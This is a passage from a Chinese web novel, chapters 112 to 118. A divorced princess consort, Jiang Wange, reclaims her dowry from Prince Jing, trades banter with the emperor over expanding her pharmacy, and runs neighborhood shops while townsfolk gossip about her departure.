姜绾歌轻轻拂去袖上并不存在的灰尘,阳光突然变得刺眼起来。 王妃......青柠捧着圣旨的手在发抖。 叫姑娘。姜绾歌突然笑了,伸手接住一片飘落的梧桐叶,从今往后,我们都是自由身了。 她转身走向回廊,木屐踩碎一地斑驳的光影。身后传来茶盏砸碎的声响,夹杂着靖王歇斯底里的咒骂。 “姜绾歌,你给本王站住!”靖王突然站起身,冲着姜绾歌的背影喊道。 姜绾歌连脚步都没顿一下,只是将那片梧桐叶随手抛进了池塘。 靖王几步上前,挡在姜绾歌面前:“你就这么想离开本王?你难道对本王就没有一丝感情?” 姜绾歌抬眸看他,眼底没有半分畏惧,只有一片冰冷的讥诮。 感情?她轻笑一声,手腕一转,竟用巧劲挣脱他的钳制,王爷说这话,不觉得可笑吗? 靖王瞳孔微缩,显然没料到她竟能轻易脱身。 曾经,我确实对王爷有过期许。 她慢条斯理地整理着袖口,语气平静得像在谈论今日的天气,可王爷呢?一个月换一个新欢,连府里的下人都知道您在外头养了多少红颜知己。现在的口味更是重了,都换到青楼里去了。 她抬眸,眼底寒光凛冽,现在跟我谈感情?晚了。 靖王脸色铁青,拳头攥得咯咯作响:姜绾歌,你别以为有父皇撑腰,本王就拿你没办法! 王爷当然有办法。她微微倾身,声音轻得只有他能听见,比如,您书房暗格里那些见不得光的密信?又或者……您私自挪用国库的证据? 靖王浑身一僵,眼底闪过一丝慌乱。 姜绾歌直起身,唇角勾起一抹凉薄的笑:所以,王爷最好想清楚——现在,到底是谁该让谁三分? 两人对视片刻,空气仿佛凝固。最终,靖王咬紧牙关,侧身让开一步。 第113章 清算嫁妆 姜绾歌刚迈出一步,突然转身:对了王爷,还有一事。 她从袖中抽出一张泛黄的纸笺,在靖王眼前晃了晃:您可还记得这个? 靖王眯眼看去,突然脸色大变:这... 三年前,王爷说我的嫁妆宅子地契丢了。姜绾歌指尖轻弹纸面,白纸黑字写着照价赔偿,连本带利。 靖王伸手要抢,姜绾歌早有防备,后退半步将欠条交给身后的青柠:去请户部张大人来做个见证。 慢着!靖王厉声喝止,那宅子分明... 分明什么?姜绾歌挑眉,王爷莫不是想说,宅子其实没丢? 满院仆从竖起耳朵。靖王脸上青白交错:本王何时说过宅子丢了?那是... 那是什么?姜绾歌步步紧逼,王爷当着三位掌柜的面立下的字据,需要请他们来对质吗? 宣旨太监突然咳嗽一声:老奴倒可以做个见证。 靖王猛地转头:公公!这是本王的家事! 现在不是了。姜绾歌轻笑,圣旨上说,我的嫁妆尽数归还。她转向宣旨太监,敢问公公,这欠条算不算嫁妆的一部分? 太监捋了捋拂尘:自然算得。 靖王额头渗出冷汗:那宅子值五万两... 连本带利,七万八千两。姜绾歌从青柠手中接过算盘,纤指飞快拨动,按京城钱庄的利钱算的。 你!靖王一把打翻算盘,本王现在没这么多现银! 姜绾歌不慌不忙捡起算盘:无妨,王爷不是有座别院在城西? 休想!靖王暴跳如雷,那是母妃的嫁妆! 那就用醉月楼抵债。姜绾歌眯起眼睛,正好抵了这数目。 靖王突然冷静下来:你早就算计好了? 王爷言重了。姜绾歌抚平欠条上的褶皱,欠债还钱,天经地义。 院门口突然传来一阵骚动。户部侍郎张大人带着两个书吏走进来:下官奉旨来清点嫁妆。 靖王脸色煞白:奉谁的旨? 张侍郎拱手:自然是圣上的旨意。他看了眼姜绾歌手中的欠条,这是... 张大人来得正好。姜绾歌递过欠条,请大人评评理。 张侍郎仔细查看后,皱眉道:靖王殿下,这欠条上有您的私印,做不得假。 靖王突然冷笑:谁知道是不是伪造的? 王爷若不信,可以比对笔迹。姜绾歌从袖中又取出一封信,这是您去年给我的家书,字迹总做不了假。 张侍郎将两样东西并排放在石桌上,众人探头看去——字迹一模一样。 王爷...赵管家小声提醒,闹到御前就更难看了... 靖王死死盯着姜绾歌,突然大笑:好!好得很!他猛地扯下腰间玉佩砸在地上,醉月楼给你!带着你的脏钱滚出王府! 姜绾歌面不改色地捡起玉佩:多谢王爷慷慨。她转向张侍郎,还请大人做个交割文书。 姜绾歌!靖王在身后嘶吼,咱们没完! 她头也不回地摆摆手:地契送到醉仙楼就行。走到院门口时突然驻足,对了王爷,醉月楼账房里的那些私账...她意味深长地顿了顿,我会好好保管的。 靖王如遭雷击,僵在原地。 姜绾歌踏出王府大门时,阳光正好照在那张欠条上。青柠小声问:姑娘,那些私账... 烧了。姜绾歌将欠条折好收进袖中,这种脏东西,留着烫手。 姜绾歌打算在王府住最后一晚,第二天就要搬去新宅了。 夜幕降临,王府的一切都显得格外安静,靖王府东边的角门“吱呀”开了条缝。 青柠裹着灰斗篷探出头,怀里的木匣子在月光下闪着微光。 墙根的老黄狗刚要起身,就见她掏出块酱牛肉丢过去,狗鼻子嗅了嗅,摇着尾巴又趴下了。 “账房那边盯着呢,没人看这儿。”青柠蹭到马车旁,把匣子塞进车底的暗格,抬头见赶车的老周正往车辕上缠草绳,“周伯,这绳子...” “昨儿瞧着车轴有点松。”老周没抬头,粗糙的手在绳结上绕了三圈,“姑娘说走大道,车得结实点。” 车厢里传来窸窣声,姜绾歌掀开竹帘,手里捏着半块桂花糖:“刘嬷嬷的蜜饯果然提神。” 她望着角门上方的铜铃——前几日让青柠缠了布条,这会儿风吹过也没响,“明儿晌午前,把车停到醉仙楼后巷。赵管家爱吃那儿的糖油饼,早上卯时三刻准在巷口晃。” 老周拍了拍车辕:“放心,这车跑过盐道,稳当。” 他忽然看见墙头上闪过黑影,鞭梢“啪”地甩了下,惊飞几只夜鹭,“起风了,姑娘回屋吧,明儿还要见人呢。” 姜绾歌摸了摸窗棂上的划痕,转身时看见西厢房后墙有团影子。 她笑了笑,从袖里摸出枚铜钱丢在地上——“叮”的声响里,墙根的人影缩了缩。 “王三,躲了三天,腿不麻吗?”她走到墙根,看见侍卫王三蹲在冬青丛里,腰间佩刀还带着酒气,“靖王让你盯着我?” 王三红着脸站起来,慌忙行礼:“姑...姑娘误会了,我就是路过。” “路过能把刀鞘蹭到冬青刺上?”姜绾歌指着他袖口的绿刺,忽然听见远处传来踉跄的脚步声,还有含糊的骂声,“哟,说谁谁到。” 靖王扶着廊柱晃过来,衣服上沾着酒渍,手里攥着空酒坛:“姜氏...毒妇...你抢我铺面...” 姜绾歌往后退了半步,看着他撞向冬青丛,王三忙去扶,却被一把推开:“滚!本王没醉...” 话没说完,他踉跄着往前栽,姜绾歌侧身避开,看他摔在冬青丛里,衣服被刺勾出条口子。 青柠提着灯笼跑过来,刚要说话,就见姜绾歌轻轻摇头。 “王爷喝多了。”姜绾歌蹲下身,摸了摸他的手腕——脉搏有点乱,还带着淡淡的药味,“青柠,叫赵管家来,别让王爷冻着。” 她起身时,袖里掉出枚银锞子,滚到王三脚边。 王三忙要捡,却听她说:“王大哥母亲的药钱,下月我来出。” 见王三抬头,她笑了笑,“王府俸禄低,抓那千年人参怕是不够。” 王三双手抱拳跪在地上,“多谢王,额……姜姑娘。” 夜风掀起她的衣角,灯笼光在她眼里闪了闪。 第114章 想要药铺扩大 夜已深,姜绾歌正倚在窗边出神,忽然听见窗棂咯吱一声轻响。 她头也不回,懒懒道:皇上,您这翻墙的毛病是改不了了? 顾铭轩利落地翻进屋内,月光在他玄色衣袍上镀了层银边:朕记得某人说过,翻墙进来的都是登徒子。 他慢条斯理地拍打衣袖,可朕分明看见你窗边留着踏脚的木凳。 姜绾歌耳尖微红,转身点亮烛台:那是给猫留的。 哦?顾铭轩凑近她耳畔,温热气息拂过她鬓角,那朕明日就下令,把宫里那只波斯猫送来陪你。 免了。姜绾歌侧身避开,皇上深夜造访,就为说这个? 烛光下,顾铭轩目光灼灼:朕来恭喜靖王妃重获自由。 现在该叫姜姑娘了。她指尖轻抚窗棂上的雕花,怎么,皇上是怕我想不开,特地来看笑话? 顾铭轩突然握住她的手腕,拇指在她脉搏处轻轻摩挲:朕是怕你太想得开,明日就收拾细软跑出京城。 姜绾歌挣了挣没挣脱,索性由他握着:皇上多虑了。醉仙楼刚地契到手,绸缎庄和蜜饯的铺子要开业,我哪儿舍得走? 那就好。顾铭轩低笑,忽然从怀中取出个锦盒,贺礼。 姜绾歌狐疑地打开,里面是把精致的黄铜钥匙:这是... 城西郊外地窖的钥匙。他眼中闪着狡黠的光,藏着三十坛陈年梨花白,够你喝到明年开春。 姜绾歌啪地合上盒子:皇上这是要灌醉我? 朕倒是想。顾铭轩忽然逼近,将她困在窗台与自己胸膛之间,可某人连和离酒都不肯与朕共饮。 姜绾歌后背抵上窗棂,鼻尖全是龙涎香的气息:那...那是因为... 因为什么?他低头,鼻尖几乎贴上她的,怕酒后吐真言? 姜绾歌突然抬膝顶向他腹部,趁他吃痛松手时灵巧钻出桎梏:我是怕皇上酒后现原形。 顾铭轩捂着肚子闷笑:姜绾歌,你可知欺君是何罪? 那夜闯闺阁又该当何罪?她反唇相讥,顺手将钥匙抛还给他,酒留着您自己喝吧。明日搬家,我要保持清醒。 顾铭轩接住钥匙,忽然正色:绾歌,朕是认真的。 屋内霎时安静。姜绾歌垂下眼睫:皇上,后宫不缺我一个。 可朕缺。他上前一步,缺个敢顶撞朕的,缺个会算计朕的,更缺个...手指抚上她唇角,让朕甘愿夜夜翻墙的。 姜绾歌偏头躲开:您这是犯贱。 是啊。顾铭轩竟笑着承认,所以姜姑娘行行好,收了朕这祸害? 想得美。她转身去整理箱笼,耳根却红了,除非... 顾铭轩眼睛一亮:除非什么? 除非您能把杏林堂旁边的铺面都划给我。她指尖轻点桌面的药方笺,我打算扩建药铺,专治达官显贵们的头疼脑热。 顾铭轩眉梢微挑:怎么,朕的太医院还比不上你的小药铺? 那可不一样。姜绾歌从药柜取出一包配好的药材,太医院开方子要顾及各方势力,我这杏林堂嘛...她将药包推到他面前,专治皇上这样的疑难杂症。 顾铭轩打开药包,里面竟是晒干的玫瑰与当归:哦?朕是什么症候? 相思入骨,肝气郁结。姜绾歌忽然凑近,指尖虚点他心口,这味药叫"当归",皇上可知何意? 他一把攥住她作乱的手指:朕看你是胆大包天症。 所以需要皇上割爱几间铺子做药引呀。她灵活地抽回手,您看,东边那间做诊堂,西边那间制药坊,后院正好引温泉水做药浴... 顾铭轩忽然将她困在药柜前:朕若应了你,有什么好处? 每月初一十五,免费给皇上请平安脉。她仰头直视他,眼中闪着狡黠的光,当然,要是皇上肯把御药房的珍稀药材分我三成... 得寸进尺。顾铭轩气笑,却从袖中取出块令牌拍在桌上,明日去找内务府总管,整条街都是你的。忽然压低声音,但朕要入股。 姜绾歌拿起令牌细看:皇上要占几成? 两成。他俯身在她耳边轻语,连药铺老板娘一起。 姜绾歌指尖一颤,令牌当啷落在桌上:皇上这是要强买强卖? 顾铭轩拾起令牌,却不急着给她,反而用令牌边缘轻轻挑起她下巴:朕倒想问问,姜大夫打算用什么抵这铺面的租金? 自然是...她突然抢过令牌,反手用冰凉的玉面贴在他喉结上,忽然踮脚在他唇上轻啄。 顾铭轩喉结滚动,忽然握住她手腕往怀里一带:不够。 姜绾歌跌进他怀中,闻见龙涎香里混着药香——是她上回给的安神香囊。 她故意用令牌抵住他胸口:那再加三成红利? 朕要十成。他低头,声音擦着她耳畔,包括大夫出诊时的嘘寒问暖。 窗外春雨悄至,沙沙打在竹叶上。 姜绾歌耳尖发烫,灵巧地旋身避开,从药柜取出一包蜜饯:皇上先把药吃了再说。 朕没病。 阴虚火旺,舌苔发红。她捻起颗蜜枣递到他面前,这是西域进贡的雪枣,专治... 话未说完,顾铭轩忽然握住她手腕,就着她指尖咬下半颗蜜枣。 太甜。他眸中含笑,将剩下半颗推回她掌心,赏你的。 姜绾歌看着掌心半颗晶莹的蜜枣,忽然转身放入茶盏:那便泡盏雪枣茶,请皇上品鉴。 窗外传来三更鼓响。 子时了,皇上该回宫安寝。姜绾歌把茶杯推过去。 顾铭轩看着她,忽然笑道:朕改主意了。今夜就住这儿。 姜绾歌倒退两步:这不合规矩... 朕就是规矩。他站起来环抱着姜绾歌,再说,明日不是要开张?朕这个"大股东",总该提前看看账本。 账本在…... 在这儿。顾铭轩从她妆奁暗格抽出一本册子,你藏东西的地方,几个前朕就摸透了。 姜绾歌气结,正要夺回,却见他已翻到最后一页——那里画着个小像,赫然是顾铭轩批阅奏折时的侧影。 屋内突然安静得只剩雨声。 画得不好。她别过脸,眼睛太小了。 第115章 人情账 顾铭轩指尖抚过纸页,墨迹已经有些晕开:这是...你进宫的那晚? 姜绾歌不答。 顾铭轩忽然将账本和小像都收进袖中:抵押品朕收下了。他变戏法似的又取出个锦囊,礼尚往来。 锦囊里是把精巧的银钥匙,挂着杏花形状的玉坠。 这是... 御药房西侧门的钥匙。他低头系在她腰间,那里有株三百年的紫灵芝,明日就移来给你当镇店之宝。 姜绾歌捏着钥匙。 这太贵重... 所以你要好好收着。顾铭轩将她指尖合拢,就像收着那幅小像一样。 朕该走了。顾铭轩在姜绾歌额头上轻轻一吻 ,那条街明日就会有人去办过户。 姜绾歌倚着妆台看着他离开,不禁笑道:皇上慢走,当心别摔着。 摔了正好。他挑眉,就能赖在你这养伤了。话音未落,人已消失在夜色中。 正午的阳光透过雕花窗棂,在醉仙楼顶层的雅间洒下斑驳光影。 姜绾歌纤细的手指轻轻敲击着账册,发出清脆的声响。 陈掌柜,她抬起眼帘,唇角带着若有似无的笑意,您去年囤的那些蜀锦,若是再压着不出手,等新到的苏绣上了市,怕是连本钱都收不回来了。 陈掌柜端着青瓷茶盏的手微微颤抖,额头上沁出细密的汗珠。 他的目光不时飘向窗外,街对面新开的姜记绸庄门前,几个年轻伙计正踩着梯子悬挂匾额。 红绸落下时,鎏金的姜记二字在阳光下闪闪发亮,引来围观百姓的一阵喝彩。 姑娘这绸庄开得...着实突然啊...陈掌柜掏出手帕擦了擦汗,茶盏里的水纹映出他不安的神色。 姜绾歌不紧不慢地打开手边的红木食盒,里面整齐码放着金黄色的杏脯,在阳光下泛着诱人的光泽。尝尝?刘嬷嬷今早新做的。 陈掌柜迟疑地拈起一块,刚入口,酸甜的滋味就在舌尖炸开,让他不由自主地眯起了眼睛。 就在这时,楼下突然传来一阵喧闹声。 他探头望去,只见靖王府的马车正停在巷子口,赵管家手里拿着个糖油饼大快朵颐,几个小厮正往车上搬运贴着梨花白红纸的酒坛。 姑娘这算盘珠子倒是别致。陈掌柜的目光被姜绾歌手中把玩的一枚铜珠吸引,那珠子磨得发亮,尾端还系着半截褪色的红绳。 路上捡的小玩意儿,姜绾歌随手将珠子往紫檀木算盘上一拨,发出清脆的声响,用着顺手。 她又推过一碟蜜饯,这次是裹着糖霜的山楂糕:再尝尝这个?码头上的工人们最爱带着当零嘴,干活累了含一块,既解乏又顶饿。 陈掌柜刚咬了一口,就听见楼下传来伙计清亮的吆喝声:买布送蜜饯喽!赵大娘,您家小宝最爱吃这个杏脯,拿着这张票,下个月还能多领两块! 往下一看,果然见到街坊赵大娘抱着新买的布匹,手里还攥着个姜记字样的纸包,边走边给遇到的邻居分发蜜饯。 您瞧,姜绾歌翻开账本,指着上面画着的一个个小人儿,有的标着码头张叔,有的写着布行李婶,这人情往来啊,就像这蜜饯一样,甜在嘴里,记在心上。大家得了甜头,自然愿意帮忙。就像您上次说江南布价要涨,不就是张叔在酒馆里随口提的那一句? 陈掌柜这才恍然想起,半月前在醉仙楼遇见码头的张老三,对方硬是塞给他一块蜜饯,顺口说了句漕运要加钱的事。 此刻看着姜绾歌腕间晃悠的红绳——上面串着的那枚铜钱,正是张老三儿子满月时送的谢礼。 那您这绸庄和蜜饯铺...陈掌柜指着窗外两家比邻而居的铺子,只见绸庄的伙计正帮蜜饯铺搬运晒果子的竹盘,蜜饯铺的丫头则抱着新裁的布匹给街坊送货。 互相帮衬着过日子呗。姜绾歌将算盘往前一推,算珠跳动间竟排出一个利字,买布的妇人带着孩子,给块蜜饯孩子不哭闹了,她就能安心挑选。 码头的汉子们来买零嘴时,看见新到的粗布厚实,顺手就给家里婆娘捎一匹。 正说着,青柠抱着个油纸包匆匆进来,发髻上还沾着面粉:姑娘,漕帮的周老大收了咱们的蜜饯,说下个月一定给咱们留条快船运货。 姜绾歌点点头,从袖中取出块桂花糖塞进青柠手里:记得再给周家老太太送两斤核桃蜜饯,上次听周老大说他娘牙口不好,就爱吃这软和甜口的。 陈掌柜看着这一来一往,突然发现姜绾歌的账本上记的尽是些家长里短。 李婶子闺女腊月出阁,要十匹大红绸子 赵叔家孙子最爱杏脯,布钱可缓三日再收 那些乌木算珠拨来拨去,算的不是银钱几何,而是谁帮了忙,该怎么还这份人情账。 日头西斜时,姜绾歌站在两家铺子中间,看着伙计们将蜜饯包放进布包里,又把裁衣剩下的碎布头送给蜜饯铺包果子。 夕阳的余晖给她的侧脸镀上一层金边,连睫毛都在发光。 灯笼次第亮起,姜记绸庄和姜记蜜饯的幌子在晚风中轻轻摇曳。 一群孩童嬉笑着跑来要糖吃,伙计们笑着往他们兜里塞杏脯,顺手递上一张印着蜜饯图案的布庄传单。 姑娘,靖王那边...青柠刚开口,就被姜绾歌抬手止住。 咱们做的是街坊生意,她望着远处渐暗的天色,与其盯着那些王侯将相的账本,不如把眼前这些大娘婶子伺候舒坦了。 晚风送来蜜饯的甜香,混着新布的浆水味。 隔壁蜜饯铺里传来刘嬷嬷中气十足的笑骂:小馋猫别偷吃!留着明日给买布的王大嫂尝鲜! 姜绾歌听着这市井喧闹,忽然想起今早伙计说的事。 有个戴斗笠的男人在铺子外站了许久,最后只买了块最便宜的蜜饯,临走时却不小心落下个鼓鼓囊囊的钱袋,里面除了一锭银子,还压着张字条:算珠声声妙,蜜饯甜到老。 她低头看着算盘上那枚磨得发亮的铜珠子,唇角不自觉地上扬。 这市井之中的人情冷暖,有时比朝堂上的明争暗斗更让人心安。 第116章 王三母亲 搬家那日,天边刚泛起鱼肚白,醉仙楼后巷还笼罩在朦胧的晨雾中。 三辆青篷马车静静地停在那里,车身上凝结着细小的露珠。 老周佝偻着背,粗糙的手指仔细检查着最后一辆车的缰绳,指腹在麻绳上摩挲时发出沙沙的声响。 老周,都检查仔细些。姜绾歌的声音从身后传来。 她正指挥着几个小厮往车上搬箱笼,淡青色的裙裾在晨雾中若隐若现。 老周正要应声,忽然瞥见巷口转进来个戴斗笠的身影。 那人脚步匆匆,却又时不时四下张望,显得格外谨慎。 待走近了,老周眯起昏花的眼睛,才认出是靖王府的侍卫王三。 王三今日没穿侍卫服,只着一件洗得发白的粗布短打,斗笠压得极低,几乎遮住了半张脸。 他的右手始终按在腰间,老周知道,那里必定藏着短刀。 王三?老周警惕地直起身子。 王三没有答话,目光越过老周,直直地望向正在清点箱笼的姜绾歌。 他的眼神复杂得令人心惊——感激、愧疚、犹豫、挣扎,种种情绪在那双眼睛里翻涌。 喉结上下滚动了几次,终于挤出沙哑的声音:姑娘…... 姜绾歌闻声回头,晨光中她的面容格外清晰。 王三的心猛地揪紧了。 三个月前,王三奉命监视姜绾歌时,曾蹲在王府西墙的槐树上整整一夜。 那夜下着雨,他裹着蓑衣,透过半开的窗棂,看见那位王妃伏在案前摆弄算盘。 烛火映着她微挺的脊背,手腕上的木镯空荡荡地晃着,随拨弄算珠的动作,敲出细碎的响。 王三记得自己当时嗤笑了一声。 ——不过是个弃妇。 王三没想到报应来得这样快。 三日前他下值回家,发现母亲倒在院子里,身下一滩猩红的血。老大夫诊完脉直摇头:肺痨入血,除非用百年老参吊着... 他攥着三个月的俸禄跑遍全城药铺,最后跪在仁济堂门口。掌柜的叹着气:不是不帮你,这参钱...得这个数。 粗糙的手比了个八。 八两黄金。 王三在当值时走了神。 他盯着自己满是老茧的手——这双手捆过告御状的秀才,押送过撞破王爷好事的丫鬟,现在却连母亲的命都救不了。 王侍卫。 那晚清凌凌的声音吓得他一个激灵。 您、您吩咐。他慌忙抱拳。 听说令堂病了? 王三猛地抬头,正对上那双通透的眼睛。 明日申时,让你家隔壁的李婆子来角门。她说完就走,石榴红的裙角扫过青砖,像一簇跳动的火苗。 装着老参的锦盒下压着张药方。 母亲喝下第一碗药就不咳血了,今早竟能坐着编完半只竹篮。 栓子,母亲突然拉住他衣袖,送参的姑娘...是不是你提过的那位? 他喉头发紧:娘别多想,儿子会还这人情。 老人家长叹一声,从枕下摸出个褪色的平安符:拿去给恩人...娘攒的铜钱都在里头。 此刻站在晨雾里,王三摸着怀中滚烫的荷包。 王三?她又唤了一声。 咚! 膝盖砸在青石板上的声响惊飞了檐下麻雀。他重重磕下头去,额头抵着地砖上冰凉的露水。 姑娘大恩... 王三的声音哽住了。 靖王如此对您,您为何还要帮我母亲? 这句话问出口,王三自己都愣住了。 他本不想这样直白,可那些在心头辗转多日的话,就这么不受控制地冲了出来。 姜绾歌轻轻摆手,示意周围的下人退开。 她走近王三,晨风拂动她的衣袖,带来一阵淡淡的药香——那是三日前她亲自为王三母亲配药时沾染的气息。 抬头说话。她的声音很轻,却不容拒绝。 王三缓缓抬头,斗笠下的眼睛布满血丝。这些天他夜不能寐,一闭眼就是母亲痛苦的呻吟。 王三,姜绾歌的目光平静如水,你可知我为何帮你? 王三摇头,喉头发紧。 因为你冒着被责罚的风险,偷偷给你母亲买药。姜绾歌的声音很轻,那日你在药铺门口数铜钱的样子,我恰巧看见了。 王三浑身一震。那是半月前的事,他当值时偷溜出去给母亲抓药,没想到... 人生在世,谁都有难处。姜绾歌从袖中取出一个靛蓝色的荷包,这些银子你拿着,给你母亲买些补品。 王三盯着那个荷包,眼前突然模糊了。他想起自己这些年为虎作伥,想起那些被自己押送进王府就再没出来的姑娘...而眼前这个人,明明被王爷伤得最深,却... 姑娘!王三突然重重磕了个头,额头抵在冰冷的石板上,我王三这条命,从今往后就是您的! 姜绾歌弯腰扶他,触到他手臂时明显感觉到这个七尺汉子在微微发抖。 我不要你的命。她将荷包塞进王三颤抖的手中,只要你记住今日的话。 这时老周走过来,轻咳一声:姑娘,时辰不早了。 王三慌忙起身,胡乱抹了把脸。他紧紧攥着那个荷包,指节都泛了白。姑娘放心,王府那边...我会留意的。 姜绾歌点点头,转身走向马车。 马车缓缓驶离时,王三还站在原地。 他摸出怀里的荷包,里面除了银子,还有一张叠得方正的纸条。 展开一看,上面写着一味药方,字迹清秀工整。 王三将纸条贴在胸口,长长地呼出一口气。晨雾渐渐散去,天亮了。 马车缓缓驶出醉仙楼后巷,车轮碾过青石板路,发出清脆的声响。 醉仙楼二楼临窗的茶座上,几个书生正为《春秋》里的微言大义争得面红耳赤。 蓝衫书生陈子安突然啪地合上竹简,茶盏被震得溅出几滴褐色的茶汤,在泛黄的《论语》扉页上洇开一朵残梅。 快看!他半个身子探出雕花窗棂,束发的青绸带被晨风吹得猎猎作响,那不是姜家大小姐的车驾吗? 邻座的灰衣书生张文远被这声惊呼吓得手一抖,狼毫笔在宣纸上拖出长长的墨痕。 他顾不得心疼刚写好的策论,急忙凑到窗前。 只见三辆青篷马车正转过街角,车辕上挂着的青铜铃铛在晨光中闪着细碎的金光。 果真?张文远眯起近视的眼睛,听说她与靖王和离时,连御赐的嫁妆都要回来了。 第117章 嫁妆排场 他忽然压低声音,家父在户部当差,说那日张侍郎带着二十多个书吏清点嫁妆,连三年前陪嫁的夜明珠都从靖王爱妾的妆奁里翻出来了。 话音未落,楼下突然传来一阵骚动。 众人循声望去,只见醉仙楼前的街道上,一列长长的车队正缓缓驶过。 打头的是三辆青篷马车,后面跟着足足十二辆满载的货车,每辆车上都摞着红木箱笼,用麻绳捆得结结实实。 车夫们吆喝着,车轮碾过青石板,发出沉闷的声响。 我的老天爷!绸缎庄的刘小姐捏着团扇,眼睛瞪得溜圆,这得有多少嫁妆啊? 她身边的丫鬟小翠掰着手指头数:听说光是绸缎就有八十匹,金银器皿二十箱,还有—— 何止!茶博士提着铜壶挤过来,神秘兮兮地插话,前几日我去靖王府送茶叶,亲眼看见他们从库房里抬出三架紫檀屏风,每一扇都嵌着南海珍珠! 角落里一直沉默的紫衣书生柳明轩突然冷笑:女子无才便是德。带着这么多嫁妆和离,也不怕被人说贪财? 陈子安咚地砸下茶盏:柳兄慎言!姜小姐的嫁妆本就是姜家给的,要回来天经地义! 他指着楼下,你看那辆盖着油布的车——听说里面装的是姜小姐陪嫁的藏书,足足两千卷。靖王连一页都没翻过,现在倒好意思扣着不给? 楼下忽然传来一阵惊呼。 众人探头看去,只见一辆货车的麻绳突然崩断,红木箱笼哐当一声砸在地上,箱盖震开,露出里面码得整整齐齐的银锭。 阳光一照,白花花的银子晃得人眼花。 哎哟!醉仙楼掌柜钱有财一拍大腿,这得有多少两啊? 路过的卖货郎王二麻子咂舌:少说也得五千两!我听说姜小姐陪嫁的压箱银就有两万两,还不算田产地契呢! 靖王这次可真是亏大了。张文远摇头感叹,听说连姜小姐陪嫁的十二名绣娘都要回去了。 活该!刘小姐轻哼一声,谁让他宠妾灭妻?姜姐姐这样的才女,他配不上! 瞧见没?茶博士用胳膊肘捅了捅身边的客人,连账本都要回来了,姜小姐这是半点情面都不留啊! 老举人捋须的手突然一顿,眉头微皱:说来也怪,这丫头在闺阁时虽也聪慧,却不见得如此厉害。嫁入王府半年,倒像是换了个人似的。 茶博士提着铜壶凑过来,压低声音道:小的听靖王府的厨娘说,姜小姐大婚当晚就独守空房,从此闭门不出,整日里不是看书就是算账... 难怪!陈子安恍然大悟,半年足不出户,怕是把王府藏书阁的书都翻遍了。 张文远却若有所思:不对啊,我表姐嫁到姜家隔壁,说姜小姐从前连算盘都打不利索。怎么突然就... 这有什么稀奇,绸缎庄刘小姐轻摇团扇,我娘说女子出嫁便是第二次投胎。姜姐姐这是被逼出来的本事! 说书人老徐突然神秘兮兮地插话:老朽倒听说个趣闻。姜小姐有次落水昏迷三日,醒来后突然通晓西域算法,连户部老尚书都来请教呢! 众人闻言面面相觑,柳明轩阴阳怪气道:莫不是被什么附了体... 胡说什么!陈子安厉声打断,定是姜小姐天资聪颖,只是从前在闺阁不便显露罢了。你们看那车队——他指着窗外,能把这些年王府吞掉的嫁妆一笔笔算清楚,这份能耐岂是寻常? 楼下突然传来清脆的算盘声。众人低头望去,只见姜绾歌的贴身丫鬟青柠正坐在马车前辕,手指翻飞间,算珠碰撞声如雨打芭蕉。一个管事模样的男子捧着账册在旁边连连点头。 二楼的柳明轩望着远去的车队,脸色阴晴不定。 他低声嘟囔:带着这么多嫁妆和离,也不怕路上遭劫...... 陈子安闻言,突然拍案而起:柳兄若是有歪心思,趁早收起来! 他指着楼下车队两侧佩刀的护卫,看见那些黑衣人了吗?那可是姜家从北境雇来的镖师,个个都是以一当十的好手! 众人闻言,纷纷探头张望。果然,车队前后各有八名黑衣护卫,腰间佩刀在晨光中泛着冷冽的寒光。 说书人老徐不知何时站在了楼梯口,惊堂木啪地一拍:各位客官,欲知后事如何,且听下回分解——"姜小姐智取嫁妆,靖王爷痛失爱妃"! 醉仙楼里顿时哄堂大笑。 唯有柳明轩盯着最后一辆马车上的红木箱笼,眼中闪过一丝贪婪的光。 杏林堂前的老槐树下,树影婆娑,几个等着瞧病的妇人坐在石凳上,手里纳着鞋底,嘴里闲话家常。 穿绛紫比甲的孙大娘眼最尖,针线活一扔,拍着大腿嚷道:快看!姜小姐的车驾来了! 这一嗓子,惊得杏林堂里抓药的陈掌柜老花镜都滑到了鼻尖。 他忙摘下眼镜,颤巍巍走到门边,眯着眼张望:上月多亏姜小姐给的艾灸方子,我家老婆子卧床半年的腰痛,如今都能下地种菜了。 可不是嘛!抱着婴孩的年轻媳妇李周氏挤上前,娃娃在她怀里睡得香甜,我娃出痘那会儿,高热不退,连老医师都摇头。姜小姐亲自熬了药,守了一整夜...说着眼圈就红了。 她的话被一阵清脆的铜铃声打断。众人回头,见卖花的哑女小荷怯生生站在路边。小姑娘胳膊上挎着竹篮,里头几枝茉莉还带着晨露。她绞着补丁摞补丁的衣角,眼巴巴望着马车。 吁——车夫一勒缰绳,车队竟停下了。 青柠利落地跳下车,朝小荷招手。小姑娘却吓得后退两步,竹篮里的茉莉撒了几朵。 小荷别怕。车帘掀起,姜绾歌探出半张脸。阳光照在她的琉璃镜上,折射出七彩光晕。 小姑娘顿时红了眼眶,小跑着上前,比划着手势。 都要了。姜绾歌示意青柠付钱,忽然蹙眉,你手上的冻疮怎么还没好?说着从袖中取出个青瓷小盒,这是用雪蛤油调的,睡前记得擦。 小荷急得直摆手,姜绾歌却已将药盒塞进她手心:告诉你娘,川贝枇杷膏别停用,我过几日得空就去看她。 这一幕,正被对面酒楼上的几个纨绔瞧见。 第118章 梧桐苑 装什么菩萨心肠。穿金线锦袍的赵家公子嗤笑,一个哑巴丫头也值得费心? 他身旁的跟班立刻附和:就是!听说她和离时要回了八万两嫁妆,这会儿倒装起大方了。 这话飘到槐树下,纳鞋底的孙大娘呸地啐了一口:赵家的小畜生!上月强买刘老汉的田地,逼得人家投了井,这会儿倒有脸说风凉话! 杏林堂的老医师林悬壶捋着白须感叹:姜小姐连哑女家的难处都记在心上,这份仁心... 师父您不知道,小学徒阿福提着药碾子插嘴,姜小姐每月初一都来义诊,有时连饭都顾不上吃。上回给西街的张阿婆扎针,跪在榻前整整一个时辰呢! 正说着,街角突然传来一阵骚动。只见五六个衣衫褴褛的小乞丐追着车队跑,领头的孩子王铁柱边跑边喊:姜小姐!上回给的伤药好用得很! 青柠从车窗探出头,抛出一包油纸裹的糕点:慢些跑!姑娘说了,明日未时在老地方发棉衣! 这番动静引得路人越聚越多。卖烧饼的王婆子挎着篮子挤过来,神秘兮兮道:你们还不知道吧?那日靖王带着新欢进宫赴宴,姜小姐直接请动太上皇去"偶遇"... 真的假的?肉铺的胡屠户抻着脖子问。 千真万确!王婆子拍着胸脯,我侄女在永宁宫当差,亲眼看见靖王当场被罚跪了两个时辰! 人群爆发出一阵哄笑。忽然,一个阴阳怪气的声音插进来:呵,这般泼辣,难怪被休! 